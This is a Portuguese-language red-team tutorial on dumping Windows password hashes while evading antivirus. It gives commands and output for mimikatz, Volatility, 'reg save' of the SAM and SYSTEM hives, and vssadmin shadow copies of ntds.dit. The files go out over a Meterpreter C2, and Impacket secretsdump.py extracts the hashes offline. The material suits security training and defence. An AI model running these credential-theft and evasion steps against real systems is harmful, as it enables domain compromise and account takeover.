oe xeee .x~~"*Weu. .@88 .xn!~%x. d888R d8Nu. 9888c ==*88888 x888 888. d8888R 88888 98888 88888 X8888 8888: @ 8888R "***" 9888% 88888 88888 X8888 .P 8888R ..@8*" 88888 88888 88888> :F 8888R ````"8Weu 88888 `8888 :88888X x" 8888R .. ?8888L 88888 `"**~ 88888> d8eeeee88888eer :@88N '8888N 88888 .xx. 88888 8888R *8888~ '8888F 88888 '8888> 8888~ 8888R '*8"` 9888% '**%%%%%%** 888" :88% "*%%%%%%**~ `~===*%"` ^"==="" 私たちはただ大好きです <3 [ Red Teaming ] Red Team é sem dúvidas uma das áreas mais complexas em Cyber Security, porém, também é uma das áreas, se não, a área que simula melhor um ataque real, você pode usar todos os recursos a sua disposição para comprometer o seu alvo, e o seu alvo, pode usar todos os recursos a disposição dele, para mitigar suas ações. Um dos grandes problemas que os Red Teamers enfrentam, é o AV (AntiVírus), quando você compromete um domain controller na rede, ou um simples server, é comum que esse servidor tenha um AV instalado, ele mitiga a possibilidade de você baixar um payload para a máquina, o que evita, por exemplo, você subir esse determinado domain controller / server para o seu c2. [ AV (AntiVírus) ] Vamos entender um pouco mais sobre o AV. Ele faz 2 tipos de análise, ele pode análisar o disco em questão, e encontrar malwares, payloads, shellcodes... Ou seja, se você comprometer o domain controller / server, você não consegue baixar seu payload para a máquina, se você tentar, o AV vai erradicar o seu payload na hora, e você perde completamente o engagement do seu Red Team, você é detectado... Além da análise estática, o AV faz também uma análise dinâmica, direto na memória, isso significa, que mesmo que você consiga fazer um processo malicioso entrar em execução na memória, o AV ainda pode detectar e eliminar o processo na hora, e claro, isso também faria você ser detectado e perde completamente o engagement do Red Team. [ Hashdump ] Um dos processos mais importantes na pós-exploração, sem dúvidas, é fazer a extração de hashes do do domain controller / server que você comprometeu, existem diversas formas de você efetuar essa extração, e um dos grandes problemas é o AV (AntiVírus), por conta da análise dinâmica, ele pode identificar processos maliciosos em runtime (tempo de execução). Isso mitiga quase que completamente o uso do mimikatz "puro", que é uma das, se não, a ferramenta mais utilizada quando se trata de hashdump. [ Safety Hashdump ] Antes de falar sobre o hashdump de fato, vamos passear um pouco no windows e entender algumas coisas... - SAM - Security Account Manager O SAM é uma database que armazena as credenciais dos usuários, o windows usa o SAM para gerenciamento e autenticação das contas locais e em alguns sistemas, o AD faz autenticações remotamente. O Arquivo é criptografado e protegido pelo windows. - SYSTEM / System BootKey O SAM é criptografado com a System BootKey, o arquivo/registro SYSTEM, o SYSTEM é responsável por armazenar a chave de criptografia do SAM, ou seja, tendo o SYSTEM, é possível descriptografar o SAM... - ntds.dit O ntds.dit é uma database que armazena os dados do AD (Active Directory), isso inclui dados dos usuários, grupos e as hashes de todos os usuários do domain. - Impacket - secretsdump.py O toolkit do Impacket (amado por todos <3 nós) possui o secretsdump.py, que com as informações necessárias pode extrair as hashes do ntds.dit / SAM... A melhor parte, é que você pode fazer isso localmente, só com os arquivos necessários (SYSTEM & ntds.dit/SAM). Ele vai ser essencial para fazer o Hashdump da forma mais safe possível... [ Hands-On ] Como dito anteriormente, o ntds.dit / SAM são protegidos pelo windows, é impossível fazer a extração desses arquivos em tempo de execução do windows, existem 4 formas de fazer a extração desses arquivos apesar da proteção. - Extract from memory Você pode fazer a extração direto da memória, dessa forma, você não vai mexer no arquivo diretamente e vai conseguir fazer a extração das hashes, o grande problema dessa técnica, é a análise dinâmica do AV... Não é viável usar, por exemplo, o Mimikatz para fazer essa extração dinâmica da memória, porque ele pode ser detectado pelo AV. Mas a extração funciona da seguinte forma: mimikatz # lsadump::sam Domain : pinto.local SysKey : ... Local SID : S-1----------------- SAMKey : ... RID : 000001f4 (500) User : Administrator Hash NTLM: ... ... E assim, com um simples comando do mimikatz, você extrai as hashes do SAM... Ele consegue esse resultado consultando o Registry Hive para conseguir os offsets da SAM e da SYSTEM na memória, com essa informação, você pode extrair as hashes usando volatility por exemplo.. :~% volatility imageinfo -f windowsmemory.dump [cut \] Suggested Profile(s) : Win2008R2SP1x64_23418 [cut \] :~% volatility -f windowsmemory.dump hivelist --profile=Win2008R2SP1x64_23418 [cut \] 0xfffff8a000e77010 0x000000010d067010 \SystemRoot\System32\Config\SAM [cut \] 0xfffff8a000025010 0x000000011501c010 \REGISTRY\MACHINE\SYSTEM :~% volatility -f windowsmemory.dump --profile=Win2008R2SP1x64_23418 hashdump -s 0xfffff8a000e77010 -y 0xfffff8a000025010 Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:ntlm pinto:1001:aad3b435b51404eeaad3b435b51404ee:lixo xixi:1005:aad3b435b51404eeaad3b435b51404ee:xixi - Physic Existe uma forma mais divertida, porém física, de fazer a extração, é também uma forma bem simples... Você pode simplesmente plugar um pendrive e bootar um sistema, depois simplesmente copiar a SAM e a SYSTEM, como o Windows não vai estar em execução, ele não pode proteger esses arquivos... Mas é claro que, pra isso, você teria que ter acesso físico ao servidor... E é claro que, seria impossível o AV detectar essa atividade, pois ele não é um serviço ativo nesse caso. - Registry Você pode extrair todas as informações do registro Windows usando o comando "reg", é uma das formas mais simples, se não, a forma mais simples de fazer a extração... C:\pinto> reg save hklm\sam C:\temp\sam.save C:\pinto> reg save hklm\system C:\temp\system.save Supondo que você tenha o servidor conectado ao seu c2, você pode baixar os saves do seu c2... meterpreter > download 'C:\temp\sam.save' /home/xixi/SAM \cut meterpreter > download 'C:\temp\system.save' /home/xixi/SYSTEM \cut E por fim, usar o secretsdump.py do Impacket (~UwU~) para fazer a extração das hashes /home/xixi:% secretsdump.py -system system.save -sam sam.save LOCAL Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation [*] Target system bootKey: 0xXixi [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:ntlm pinto:1001:aad3b435b51404eeaad3b435b51404ee:lixo xixi:1005:aad3b435b51404eeaad3b435b51404ee:xixi [*] Cleaning up... Nem sempre essa técnica vai funcionar, mas como não tem nenhum payload, malware... O AV não consegue detectar nenhuma atividade maliciosa... - Volume Shadow Copy E a forma que é comumente usada pelos Red Teamers e acredito que seja a forma mais eficiente contra AV e moderna, é efetuando uma Shadow Copy do volume em questão, dessa forma, você pode extrair o SAM/ntds.dit e o SYSTEM diretamente da Shadow Copy, sem processos maliciosos, portanto, sem perigo do AV detectar... C:\pinto> vssadmin create shadow /for=C: vssadmin 1.1 - Volume Shadow Copy Service administrative command-line toolCopyright 2001-2005 Microsoft Corp. Successfully created shadow copy for 'C:\' Shadow Copy ID: {id-id-id-id-id} Shadow Copy Volume Name: \\?\NAME\ \cut C:\pinto> copy \\?\NAME\Windows\ntds\ntds.dit C:\temp\ntds.dit 1 file(s) copied. OR C:\pinto> copy \\?\NAME\Windows\system32\config\SAM C:\temp\SAM 1 file(s) copied. \cut C:\pinto> copy \\?\NAME\Windows\system32\config\SYSTEM C:\temp\SYSTEM 1 file(s) copied. \cut C:\pinto> vssadmin delete shadows /shadow={id-id-id-id-id} vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool Copyright 2001-2005 Microsoft Corp. Do you really want to delete 1 shadow copies (Y/N): [N]? y Successfully deleted 1 shadow copies. \cut Supondo que você tenha o servidor conectado ao seu c2, você pode baixar os arquivos do seu c2... meterpreter > download 'C:\temp\ntds.dit' /home/xixi/ntds.dit OR meterpreter > download 'C:\temp\SAM' /home/xixi/SAM \cut meterpreter > download 'C:\temp\SYSTEM' /home/xixi/SYSTEM \cut E por fim, usamos o Impacket (uwu s2) para extrair as hashes... /home/xixi:% secretsdump.py -system SYSTEM -sam SAM LOCAL Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation [*] Target system bootKey: 0xXixi [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:ntlm pinto:1001:aad3b435b51404eeaad3b435b51404ee:lixo xixi:1005:aad3b435b51404eeaad3b435b51404ee:xixi [*] Cleaning up... OR /home/xixi:% secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation [*] Target system bootKey: 0xXixi [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:ntlm krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ntlm pinto:1001:aad3b435b51404eeaad3b435b51404ee:lixo xixi:1005:aad3b435b51404eeaad3b435b51404ee:xixi [*] Cleaning up... <3 <3 <3 made by kosu for Templo7k :)